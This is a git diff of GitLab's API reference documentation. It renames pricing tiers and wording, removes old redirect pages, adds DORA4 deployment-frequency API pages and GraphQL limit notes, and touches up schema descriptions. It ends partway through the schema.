Audit Events **(PREMIUM SELF)** The Audit Events API allows you to retrieve [instance audit events](../administration/audit_events.md#instance-events). @@ -126,7 +126,7 @@ Example response: } ``` -## Group Audit Events **(STARTER)** +## Group Audit Events **(PREMIUM)** > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/34078) in GitLab 12.5. @@ -233,7 +233,7 @@ Example response: } ``` -## Project Audit Events **(STARTER)** +## Project Audit Events **(PREMIUM)** > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/219238) in GitLab 13.1. diff --git a/doc/api/avatar.md b/doc/api/avatar.md index ccaa50eedd8..14fdc5e8afd 100644 --- a/doc/api/avatar.md +++ b/doc/api/avatar.md @@ -10,7 +10,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w ## Get a single avatar URL -Get a single [avatar](../user/profile/index.md#profile-settings) URL for a user with the given email address. +Get a single [avatar](../user/profile/index.md#user-settings) URL for a user with the given email address. If: diff --git a/doc/api/boards.md b/doc/api/boards.md index e86f0d846ed..021e4103228 100644 --- a/doc/api/boards.md +++ b/doc/api/boards.md @@ -8,8 +8,8 @@ info: To determine the technical writer assigned to the Stage/Group associated w Every API call to boards must be authenticated. -If a user is not a member of a project and the project is private, a `GET` -request on that project will result to a `404` status code. +If a user is not a member of a private project, +a `GET` request on that project results in a `404` status code. ## List project issue boards @@ -488,7 +488,7 @@ Example response: ## Delete a board list from a board -Only for admins and project owners. Deletes the board list in question. +Only for administrators and project owners. Deletes a board list. ```plaintext DELETE /projects/:id/boards/:board_id/lists/:list_id diff --git a/doc/api/branches.md b/doc/api/branches.md index 74383841272..e9e27a358f0 100644 --- a/doc/api/branches.md +++ b/doc/api/branches.md @@ -5,7 +5,7 @@ info: "To determine the technical writer assigned to the Stage/Group associated type: reference, api --- -# Branches API +# Branches API **(FREE)** This API operates on [repository branches](../user/project/repository/branches/index.md). diff --git a/doc/api/build_triggers.md b/doc/api/build_triggers.md deleted file mode 100644 index 13adf949981..00000000000 --- a/doc/api/build_triggers.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: 'pipeline_triggers.md' ---- - -This document was moved to [another location](pipeline_triggers.md). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/api/builds.md b/doc/api/builds.md deleted file mode 100644 index b7b61e853a8..00000000000 --- a/doc/api/builds.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: 'jobs.md' ---- - -This document was moved to [another location](jobs.md). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/api/commits.md b/doc/api/commits.md index 81014956fc5..f4896f75c93 100644 --- a/doc/api/commits.md +++ b/doc/api/commits.md @@ -5,7 +5,9 @@ info: "To determine the technical writer assigned to the Stage/Group associated type: reference, api --- -# Commits API +# Commits API **(FREE)** + +This API operates on [repository commits](https://git-scm.com/book/en/v2/Git-Basics-Recording-Changes-to-the-Repository). Read more about [GitLab-specific information](../user/project/repository/index.md#commits) for commits. ## List repository commits diff --git a/doc/api/dependency_proxy.md b/doc/api/dependency_proxy.md index ab691aaecea..8448edef9c5 100644 --- a/doc/api/dependency_proxy.md +++ b/doc/api/dependency_proxy.md @@ -9,9 +9,9 @@ info: To determine the technical writer assigned to the Stage/Group associated w ## Purge the dependency proxy for a group > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/11631) in GitLab 12.10. -> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/273655) to [GitLab Core](https://about.gitlab.com/pricing/) in GitLab 13.6. +> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/273655) to [GitLab Free](https://about.gitlab.com/pricing/) in GitLab 13.6. -Deletes the cached manifests and blobs for a group. This endpoint requires group admin access. +Deletes the cached manifests and blobs for a group. This endpoint requires group owner access. WARNING: [A bug exists](https://gitlab.com/gitlab-org/gitlab/-/issues/277161) for this API. diff --git a/doc/api/deploy_key_multiple_projects.md b/doc/api/deploy_key_multiple_projects.md deleted file mode 100644 index 16ce201c1c0..00000000000 --- a/doc/api/deploy_key_multiple_projects.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: deploy_keys.md#adding-deploy-keys-to-multiple-projects ---- - -This document was moved to [another location](deploy_keys.md#adding-deploy-keys-to-multiple-projects). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/api/deploy_keys.md b/doc/api/deploy_keys.md index 91046717c1d..30a56e6253b 100644 --- a/doc/api/deploy_keys.md +++ b/doc/api/deploy_keys.md @@ -4,11 +4,11 @@ group: Release info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Deploy Keys API +# Deploy keys API ## List all deploy keys -Get a list of all deploy keys across all projects of the GitLab instance. This endpoint requires admin access and is not available on GitLab.com. +Get a list of all deploy keys across all projects of the GitLab instance. This endpoint requires administrator access and is not available on GitLab.com. ```plaintext GET /deploy_keys diff --git a/doc/api/deploy_tokens.md b/doc/api/deploy_tokens.md index 2bdec4a0688..eae46d5f2f5 100644 --- a/doc/api/deploy_tokens.md +++ b/doc/api/deploy_tokens.md @@ -10,7 +10,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/21811) in GitLab 12.9. -Get a list of all deploy tokens across the GitLab instance. This endpoint requires admin access. +Get a list of all deploy tokens across the GitLab instance. This endpoint requires administrator access. ```plaintext GET /deploy_tokens diff --git a/doc/api/discussions.md b/doc/api/discussions.md index a7a53987fe9..d88d4780e65 100644 --- a/doc/api/discussions.md +++ b/doc/api/discussions.md @@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w type: reference, api --- -# Discussions API +# Discussions API **(FREE)** Discussions are a set of related notes on: @@ -156,7 +156,7 @@ Parameters: | `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) | | `issue_iid` | integer | yes | The IID of an issue | | `body` | string | yes | The content of the thread | -| `created_at` | string | no | Date time string, ISO 8601 formatted, e.g. 2016-03-11T03:45:40Z (requires admin or project/group owner rights) | +| `created_at` | string | no | Date time string, ISO 8601 formatted, e.g. 2016-03-11T03:45:40Z (requires administrator or project/group owner rights) | ```shell curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/5/issues/11/discussions?body=comment" @@ -182,7 +182,7 @@ Parameters: | `discussion_id` | integer | yes | The ID of a thread | | `note_id` | integer | yes | The ID of a thread note | | `body` | string | yes | The content of the note/reply | -| `created_at` | string | no | Date time string, ISO 8601 formatted, e.g. 2016-03-11T03:45:40Z (requires admin or project/group owner rights) | +| `created_at` | string | no | Date time string, ISO 8601 formatted, e.g. 2016-03-11T03:45:40Z (requires administrator or project/group owner rights) | ```shell curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/5/issues/11/discussions/6a9c1750b37d513a43987b574953fceb50b03ce7/notes?body=comment" @@ -365,7 +365,7 @@ Parameters: | `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) | | `snippet_id` | integer | yes | The ID of an snippet | | `body` | string | yes | The content of a discussion | -| `created_at` | string | no | Date time string, ISO 8601 formatted, e.g. 2016-03-11T03:45:40Z (requires admin or project/group owner rights) | +| `created_at` | string | no | Date time string, ISO 8601 formatted, e.g. 2016-03-11T03:45:40Z (requires administrator or project/group owner rights) | ```shell curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/5/snippets/11/discussions?body=comment" @@ -388,7 +388,7 @@ Parameters: | `discussion_id` | integer | yes | The ID of a thread | | `note_id` | integer | yes | The ID of a thread note | | `body` | string | yes | The content of the note/reply | -| `created_at` | string | no | Date time string, ISO 8601 formatted, e.g. 2016-03-11T03:45:40Z (requires admin or project/group owner rights) | +| `created_at` | string | no | Date time string, ISO 8601 formatted, e.g. 2016-03-11T03:45:40Z (requires administrator or project/group owner rights) | ```shell curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/5/snippets/11/discussions/6a9c1750b37d513a43987b574953fceb50b03ce7/notes?body=comment" @@ -572,7 +572,7 @@ Parameters: | `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) | | `epic_id` | integer | yes | The ID of an epic | | `body` | string | yes | The content of the thread | -| `created_at` | string | no | Date time string, ISO 8601 formatted, e.g. 2016-03-11T03:45:40Z (requires admin or project/group owner rights) | +| `created_at` | string | no | Date time string, ISO 8601 formatted, e.g. 2016-03-11T03:45:40Z (requires administrator or project/group owner rights) | ```shell curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/groups/5/epics/11/discussions?body=comment" @@ -596,7 +596,7 @@ Parameters: | `discussion_id` | integer | yes | The ID of a thread | | `note_id` | integer | yes | The ID of a thread note | | `body` | string | yes | The content of the note/reply | -| `created_at` | string | no | Date time string, ISO 8601 formatted, e.g. 2016-03-11T03:45:40Z (requires admin or project/group owner rights) | +| `created_at` | string | no | Date time string, ISO 8601 formatted, e.g. 2016-03-11T03:45:40Z (requires administrator or project/group owner rights) | ```shell curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/groups/5/epics/11/discussions/6a9c1750b37d513a43987b574953fceb50b03ce7/notes?body=comment" @@ -847,7 +847,7 @@ Parameters: | `merge_request_iid` | integer | yes | The IID of a merge request | | `body` | string | yes | The content of the thread | | `commit_id` | string | no | SHA referencing commit to start this thread on | -| `created_at` | string | no | Date time string, ISO 8601 formatted, e.g. 2016-03-11T03:45:40Z (requires admin or project/group owner rights) | +| `created_at` | string | no | Date time string, ISO 8601 formatted, e.g. 2016-03-11T03:45:40Z (requires administrator or project/group owner rights) | | `position` | hash | no | Position when creating a diff note | | `position[base_sha]` | string | yes | Base commit SHA in the source branch | | `position[start_sha]` | string | yes | SHA referencing commit in target branch | @@ -912,7 +912,7 @@ Parameters: | `discussion_id` | integer | yes | The ID of a thread | | `note_id` | integer | yes | The ID of a thread note | | `body` | string | yes | The content of the note/reply | -| `created_at` | string | no | Date time string, ISO 8601 formatted, e.g. 2016-03-11T03:45:40Z (requires admin or project/group owner rights) | +| `created_at` | string | no | Date time string, ISO 8601 formatted, e.g. 2016-03-11T03:45:40Z (requires administrator or project/group owner rights) | ```shell curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/5/merge_requests/11/discussions/6a9c1750b37d513a43987b574953fceb50b03ce7/notes?body=comment" @@ -1147,7 +1147,7 @@ Parameters: | `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) | | `commit_id` | integer | yes | The ID of a commit | | `body` | string | yes | The content of the thread | -| `created_at` | string | no | Date time string, ISO 8601 formatted, e.g. 2016-03-11T03:45:40Z (requires admin or project/group owner rights) | +| `created_at` | string | no | Date time string, ISO 8601 formatted, e.g. 2016-03-11T03:45:40Z (requires administrator or project/group owner rights) | | `position` | hash | no | Position when creating a diff note | | `position[base_sha]` | string | yes | Base commit SHA in the source branch | | `position[start_sha]` | string | yes | SHA referencing commit in target branch | @@ -1183,7 +1183,7 @@ Parameters: | `discussion_id` | integer | yes | The ID of a thread | | `note_id` | integer | yes | The ID of a thread note | | `body` | string | yes | The content of the note/reply | -| `created_at` | string | no | Date time string, ISO 8601 formatted, e.g. 2016-03-11T03:45:40Z (requires admin or project/group owner rights) | +| `created_at` | string | no | Date time string, ISO 8601 formatted, e.g. 2016-03-11T03:45:40Z (requires administrator or project/group owner rights) | ```shell curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/5/commits/11/discussions/6a9c1750b37d513a43987b574953fceb50b03ce7/notes?body=comment diff --git a/doc/api/dora4_group_analytics.md b/doc/api/dora4_group_analytics.md new file mode 100644 index 00000000000..7a7260f40e8 --- /dev/null +++ b/doc/api/dora4_group_analytics.md @@ -0,0 +1,84 @@ +--- +stage: Release +group: Release +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments +type: reference, api +--- + +# DORA4 Analytics Group API **(ULTIMATE ONLY)** + +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/291747) in GitLab 13.9. +> - It's [deployed behind a feature flag](../user/feature_flags.md), disabled by default. +> - It's disabled on GitLab.com. +> - It's not recommended for production use. +> - To use it in GitLab self-managed instances, ask a GitLab administrator to [enable it](#enable-or-disable-dora4-analytics-group-api). **(ULTIMATE ONLY)** + +WARNING: +This feature might not be available to you. Check the **version history** note above for details. + +All methods require reporter authorization. + +## List group deployment frequencies + +Get a list of all group deployment frequencies: + +```plaintext +GET /groups/:id/analytics/deployment_frequency?environment=:environment&from=:from&to=:to&interval=:interval +``` + +Attributes: + +| Attribute | Type | Required | Description | +|--------------|--------|----------|-----------------------| +| `id` | string | yes | The ID of the group. | + +Parameters: + +| Parameter | Type | Required | Description | +|--------------|--------|----------|-----------------------| +| `environment`| string | yes | The name of the environment to filter by. | +| `from` | string | yes | Datetime range to start from. Inclusive, ISO 8601 format (`YYYY-MM-DDTHH:MM:SSZ`). | +| `to` | string | no | Datetime range to end at. Exclusive, ISO 8601 format (`YYYY-MM-DDTHH:MM:SSZ`). | +| `interval` | string | no | The bucketing interval (`all`, `monthly`, `daily`). | + +Example request: + +```shell +curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/groups/:id/analytics/deployment_frequency?environment=:environment&from=:from&to=:to&interval=:interval" +``` + +Example response: + +```json +[ + { + "from": "2017-01-01", + "to": "2017-01-02", + "value": 106 + }, + { + "from": "2017-01-02", + "to": "2017-01-03", + "value": 55 + } +] +``` + +## Enable or disable DORA4 Analytics Group API **(ULTIMATE ONLY)** + +DORA4 Analytics Group API is under development and not ready for production use. It is +deployed behind a feature flag that is **disabled by default**. +[GitLab administrators with access to the GitLab Rails console](../administration/feature_flags.md) +can enable it. + +To enable it: + +```ruby +Feature.enable(:dora4_group_deployment_frequency_api) +``` + +To disable it: + +```ruby +Feature.disable(:dora4_group_deployment_frequency_api) +``` diff --git a/doc/api/dora4_project_analytics.md b/doc/api/dora4_project_analytics.md new file mode 100644 index 00000000000..a1becb056bf --- /dev/null +++ b/doc/api/dora4_project_analytics.md @@ -0,0 +1,54 @@ +--- +stage: Release +group: Release +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments +type: reference, api +--- + +# DORA4 Analytics Project API **(ULTIMATE ONLY)** + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/279039) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 13.7. + +All methods require reporter authorization. + +## List project deployment frequencies + +Get a list of all project deployment frequencies, sorted by date: + +```plaintext +GET /projects/:id/analytics/deployment_frequency?environment=:environment&from=:from&to=:to&interval=:interval +``` + +| Attribute | Type | Required | Description | +|--------------|--------|----------|-----------------------| +| `id` | string | yes | The ID of the project | + +| Parameter | Type | Required | Description | +|--------------|--------|----------|-----------------------| +| `environment`| string | yes | The name of the environment to filter by | +| `from` | string | yes | Datetime range to start from, inclusive, ISO 8601 format (`YYYY-MM-DDTHH:MM:SSZ`) | +| `to` | string | no | Datetime range to end at, exclusive, ISO 8601 format (`YYYY-MM-DDTHH:MM:SSZ`) | +| `interval` | string | no | The bucketing interval (`all`, `monthly`, `daily`) | + +Example request: + +```shell +curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/:id/analytics/deployment_frequency?environment=:environment&from=:from&to=:to&interval=:interval" +``` + +Example response: + +```json +[ + { + "from": "2017-01-01", + "to": "2017-01-02", + "value": 106 + }, + { + "from": "2017-01-02", + "to": "2017-01-03", + "value": 55 + } +] +``` diff --git a/doc/api/epic_links.md b/doc/api/epic_links.md index cabab18ed71..228f68531fd 100644 --- a/doc/api/epic_links.md +++ b/doc/api/epic_links.md @@ -12,9 +12,10 @@ Manages parent-child [epic relationships](../user/group/epics/index.md#multi-lev Every API call to `epic_links` must be authenticated. -If a user makes a `GET` request to a private group they are not a member of, the result is a `404` status code. +If a user is not a member of a private group, a `GET` request on that +group results in a `404` status code. -Multi-level Epics are available only in GitLab [Ultimate/Gold](https://about.gitlab.com/pricing/). +Multi-level Epics are available only in GitLab [Ultimate](https://about.gitlab.com/pricing/). If the Multi-level Epics feature is not available, a `403` status code is returned. ## List epics related to a given epic diff --git a/doc/api/error_tracking.md b/doc/api/error_tracking.md index 12ff0148661..c737edbdc44 100644 --- a/doc/api/error_tracking.md +++ b/doc/api/error_tracking.md @@ -4,7 +4,7 @@ group: Health info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Error Tracking settings API +# Error Tracking settings API **(FREE)** > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/34940) in GitLab 12.7. diff --git a/doc/api/events.md b/doc/api/events.md index d073e7ed633..e2ff779f3bf 100644 --- a/doc/api/events.md +++ b/doc/api/events.md @@ -25,7 +25,7 @@ Available action types for the `action` parameter are: - `destroyed` - `expired` -Note that these options are downcased. +Note that these options are in lower case. ### Target Types @@ -39,7 +39,7 @@ Available target types for the `target_type` parameter are: - `snippet` - `user` -Note that these options are downcased. +Note that these options are in lower case. ### Date formatting diff --git a/doc/api/feature_flag_user_lists.md b/doc/api/feature_flag_user_lists.md index ba03b81ebfd..e0a5fe99663 100644 --- a/doc/api/feature_flag_user_lists.md +++ b/doc/api/feature_flag_user_lists.md @@ -4,10 +4,10 @@ group: Release info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Feature flag user lists API **(CORE)** +# Feature flag user lists API **(FREE)** > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/205409) in [GitLab Premium](https://about.gitlab.com/pricing/) 12.10. -> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/212318) to GitLab Core in 13.5. +> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/212318) to GitLab Free in 13.5. API for accessing GitLab Feature Flag User Lists. diff --git a/doc/api/feature_flags.md b/doc/api/feature_flags.md index e8d6911463d..77d30475555 100644 --- a/doc/api/feature_flags.md +++ b/doc/api/feature_flags.md @@ -4,11 +4,11 @@ group: Release info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Feature Flags API **(CORE)** +# Feature Flags API **(FREE)** > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/9566) in [GitLab Premium](https://about.gitlab.com/pricing/) 12.5. > - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/212318) to [GitLab Starter](https://about.gitlab.com/pricing/) in 13.4. -> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/212318) to [GitLab Core](https://about.gitlab.com/pricing/) in 13.5. +> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/212318) to [GitLab Free](https://about.gitlab.com/pricing/) in 13.5. API for accessing resources of [GitLab Feature Flags](../operations/feature_flags.md). diff --git a/doc/api/feature_flags_legacy.md b/doc/api/feature_flags_legacy.md index 8a5af39a37f..33ea2727fb9 100644 --- a/doc/api/feature_flags_legacy.md +++ b/doc/api/feature_flags_legacy.md @@ -4,11 +4,11 @@ group: Release info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Legacy Feature Flags API **(CORE)** +# Legacy Feature Flags API **(FREE)** > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/9566) in [GitLab Premium](https://about.gitlab.com/pricing/) 12.5. > - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/212318) to [GitLab Starter](https://about.gitlab.com/pricing/) in 13.4. -> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/212318) to [GitLab Core](https://about.gitlab.com/pricing/) in 13.5. +> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/212318) to [GitLab Free](https://about.gitlab.com/pricing/) in 13.5. WARNING: This API is deprecated and [scheduled for removal in GitLab 14.0](https://gitlab.com/gitlab-org/gitlab/-/issues/213369). Use [this API](feature_flags.md) instead. diff --git a/doc/api/features.md b/doc/api/features.md index 0ed0dec1b6d..cb3ee04d076 100644 --- a/doc/api/features.md +++ b/doc/api/features.md @@ -128,7 +128,7 @@ POST /features/:name | `user` | string | no | A GitLab username | | `group` | string | no | A GitLab group's path, for example `gitlab-org` | | `project` | string | no | A projects path, for example `gitlab-org/gitlab-foss` | -| `force` | boolean | no | Skip feature flag validation checks, ie. YAML definition | +| `force` | boolean | no | Skip feature flag validation checks, such as a YAML definition | Note that you can enable or disable a feature for a `feature_group`, a `user`, a `group`, and a `project` in a single API call. diff --git a/doc/api/geo_nodes.md b/doc/api/geo_nodes.md index 280d02ced32..a2417af5285 100644 --- a/doc/api/geo_nodes.md +++ b/doc/api/geo_nodes.md @@ -4,10 +4,10 @@ group: Geo info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Geo Nodes API **(PREMIUM ONLY)** +# Geo Nodes API **(PREMIUM SELF)** To interact with Geo node endpoints, you need to authenticate yourself as an -admin. +administrator. ## Create a new Geo node @@ -307,37 +307,37 @@ Example response: "health_status": "Healthy", "missing_oauth_application": false, "attachments_count": 1, - "attachments_synced_count": nil, - "attachments_failed_count": nil, + "attachments_synced_count": null, + "attachments_failed_count": null, "attachments_synced_missing_on_primary_count": 0, "attachments_synced_in_percentage": "0.00%", - "db_replication_lag_seconds": nil, + "db_replication_lag_seconds": null, "lfs_objects_count": 0, - "lfs_objects_synced_count": nil, - "lfs_objects_failed_count": nil, + "lfs_objects_synced_count": null, + "lfs_objects_failed_count": null, "lfs_objects_synced_missing_on_primary_count": 0, "lfs_objects_synced_in_percentage": "0.00%", "job_artifacts_count": 2, - "job_artifacts_synced_count": nil, - "job_artifacts_failed_count": nil, + "job_artifacts_synced_count": null, + "job_artifacts_failed_count": null, "job_artifacts_synced_missing_on_primary_count": 0, "job_artifacts_synced_in_percentage": "0.00%", "container_repositories_count": 3, - "container_repositories_synced_count": nil, - "container_repositories_failed_count": nil, + "container_repositories_synced_count": null, + "container_repositories_failed_count": null, "container_repositories_synced_in_percentage": "0.00%", "design_repositories_count": 3, - "design_repositories_synced_count": nil, - "design_repositories_failed_count": nil, + "design_repositories_synced_count": null, + "design_repositories_failed_count": null, "design_repositories_synced_in_percentage": "0.00%", "projects_count": 41, "repositories_count": 41, - "repositories_failed_count": nil, - "repositories_synced_count": nil, + "repositories_failed_count": null, + "repositories_synced_count": null, "repositories_synced_in_percentage": "0.00%", "wikis_count": 41, - "wikis_failed_count": nil, - "wikis_synced_count": nil, + "wikis_failed_count": null, + "wikis_synced_count": null, "wikis_synced_in_percentage": "0.00%", "replication_slots_count": 1, "replication_slots_used_count": 1, @@ -367,7 +367,7 @@ Example response: "repositories_checked_in_percentage": "17.07%", "last_event_id": 23, "last_event_timestamp": 1509681166, - "cursor_last_event_id": nil, + "cursor_last_event_id": null, "cursor_last_event_timestamp": 0, "last_successful_status_check_timestamp": 1510125024, "version": "10.3.0", @@ -408,12 +408,12 @@ Example response: "job_artifacts_synced_missing_on_primary_count": 0, "job_artifacts_synced_in_percentage": "50.00%", "container_repositories_count": 3, - "container_repositories_synced_count": nil, - "container_repositories_failed_count": nil, + "container_repositories_synced_count": null, + "container_repositories_failed_count": null, "container_repositories_synced_in_percentage": "0.00%", "design_repositories_count": 3, - "design_repositories_synced_count": nil, - "design_repositories_failed_count": nil, + "design_repositories_synced_count": null, + "design_repositories_failed_count": null, "design_repositories_synced_in_percentage": "0.00%", "projects_count": 41, "repositories_count": 41, @@ -424,10 +424,10 @@ Example response: "wikis_failed_count": 0, "wikis_synced_count": 41, "wikis_synced_in_percentage": "100.00%", - "replication_slots_count": nil, - "replication_slots_used_count": nil, + "replication_slots_count": null, + "replication_slots_used_count": null, "replication_slots_used_in_percentage": "0.00%", - "replication_slots_max_retained_wal_bytes": nil, + "replication_slots_max_retained_wal_bytes": null, "repositories_checksummed_count": 20, "repositories_checksum_failed_count": 5, "repositories_checksummed_in_percentage": "48.78%", @@ -518,12 +518,12 @@ Example response: "job_artifacts_synced_missing_on_primary_count": 0, "job_artifacts_synced_in_percentage": "50.00%", "container_repositories_count": 3, - "container_repositories_synced_count": nil, - "container_repositories_failed_count": nil, + "container_repositories_synced_count": null, + "container_repositories_failed_count": null, "container_repositories_synced_in_percentage": "0.00%", "design_repositories_count": 3, - "design_repositories_synced_count": nil, - "design_repositories_failed_count": nil, + "design_repositories_synced_count": null, + "design_repositories_failed_count": null, "design_repositories_synced_in_percentage": "0.00%", "projects_count": 41, "repositories_count": 41, @@ -534,10 +534,10 @@ Example response: "wikis_failed_count": 0, "wikis_synced_count": 41, "wikis_synced_in_percentage": "100.00%", - "replication_slots_count": nil, - "replication_slots_used_count": nil, + "replication_slots_count": null, + "replication_slots_used_count": null, "replication_slots_used_in_percentage": "0.00%", - "replication_slots_max_retained_wal_bytes": nil, + "replication_slots_max_retained_wal_bytes": null, "last_event_id": 23, "last_event_timestamp": 1509681166, "cursor_last_event_id": 23, diff --git a/doc/api/graphql/getting_started.md b/doc/api/graphql/getting_started.md index ca2b7989700..1b7e273f7a1 100644 --- a/doc/api/graphql/getting_started.md +++ b/doc/api/graphql/getting_started.md @@ -314,9 +314,10 @@ Pagination is a way of only asking for a subset of the records (say, the first 1 If we want more of them, we can make another request for the next 10 from the server (in the form of something like "please give me the next 10 records"). -By default, the GitLab GraphQL API returns only the first 100 records of any collection. +By default, the GitLab GraphQL API returns 100 records per page. This can be changed by using `first` or `last` arguments. Both arguments take a value, so `first: 10` returns the first 10 records, and `last: 10` the last 10 records. +There is a limit on how many records will be returned per page, which is generally `100`. Example: Retrieve only the first 2 issues (slicing). The `cursor` field gives us a position from which we can retrieve further records relative to that one. diff --git a/doc/api/graphql/img/users_query_example_v13_8.png b/doc/api/graphql/img/users_query_example_v13_8.png Binary files differindex b4c2b4e999a..155824cad6e 100644 --- a/doc/api/graphql/img/users_query_example_v13_8.png +++ b/doc/api/graphql/img/users_query_example_v13_8.png diff --git a/doc/api/graphql/index.md b/doc/api/graphql/index.md index 45a327d323b..7a68b1cdf16 100644 --- a/doc/api/graphql/index.md +++ b/doc/api/graphql/index.md @@ -48,7 +48,7 @@ libraries](https://graphql.org/code/#graphql-clients) to consume the API and avoid manual parsing. Since there's no fixed endpoints and data model, new abilities can be -added to the API without creating breaking changes. This allows us to +added to the API without creating [breaking changes](../../development/contributing/#breaking-changes). This allows us to have a versionless API as described in [the GraphQL documentation](https://graphql.org/learn/best-practices/#versioning). @@ -117,6 +117,43 @@ information about multiplexed queries is also available for [GraphQL Ruby](https://graphql-ruby.org/queries/multiplex.html), the library GitLab uses on the backend. +## Limits + +The following limits apply to the GitLab GraphQL API. + +### Max page size + +By default, connections return at most `100` records ("nodes") per page, +and this limit applies to most connections in the API. Particular connections +may have different max page size limits that are higher or lower. + +### Max query complexity + +The GitLab GraphQL API scores the _complexity_ of a query. Generally, larger +queries will have a higher complexity score. This limit is designed to protect +the API from performing queries that could negatively impact its overall performance. + +The complexity of a single query is limited to a maximum of: + +- `200` for unauthenticated requests. +- `250` for authenticated requests. + +There is no way to discover the complexity of a query except by exceeding the limit. + +If a query exceeds the complexity limit an error message response will +be returned. + +In general, each field in a query will add `1` to the complexity score, although +this can be higher or lower for particular fields. Sometimes the addition of +certain arguments may also increase the complexity of a query. + +The complexity limits may be revised in future, and additionally, the complexity +of a query may be altered. + +### Request timeout + +Requests time out at 30 seconds. + ## Reference The GitLab GraphQL reference [is available](reference/index.md). diff --git a/doc/api/graphql/reference/gitlab_schema.graphql b/doc/api/graphql/reference/gitlab_schema.graphql index 94792a49933..4e89f663efc 100644 --- a/doc/api/graphql/reference/gitlab_schema.graphql +++ b/doc/api/graphql/reference/gitlab_schema.graphql @@ -3,12 +3,12 @@ Represents the access level of a relationship between a User and object that it """ type AccessLevel { """ - Integer representation of access level + Integer representation of access level. """ integerValue: Int """ - String representation of access level + String representation of access level. """ stringValue: AccessLevelEnum } @@ -40,7 +40,7 @@ input AddAwardEmojiInput { clientMutationId: String """ - The emoji name + The emoji name. """ name: String! } @@ -180,7 +180,7 @@ Describes an alert from the project's Alert Management """ type AlertManagementAlert implements Noteable { """ - Assignees of the alert + Assignees of the alert. """ assignees( """ @@ -205,27 +205,27 @@ type AlertManagementAlert implements Noteable { ): UserConnection """ - Timestamp the alert was created + Timestamp the alert was created. """ createdAt: Time """ - Description of the alert + Description of the alert. """ description: String """ - Alert details + Alert details. """ details: JSON """ - The URL of the alert detail page + The URL of the alert detail page. """ detailsUrl: String! """ - All discussions on this noteable + All discussions on this noteable. """ discussions( """ @@ -250,47 +250,47 @@ type AlertManagementAlert implements Noteable { ): DiscussionConnection! """ - Timestamp the alert ended + Timestamp the alert ended. """ endedAt: Time """ - Environment for the alert + Environment for the alert. """ environment: Environment """ - Number of events of this alert + Number of events of this alert. """ eventCount: Int """ - List of hosts the alert came from + List of hosts the alert came from. """ hosts: [String!] """ - Internal ID of the alert + Internal ID of the alert. """ iid: 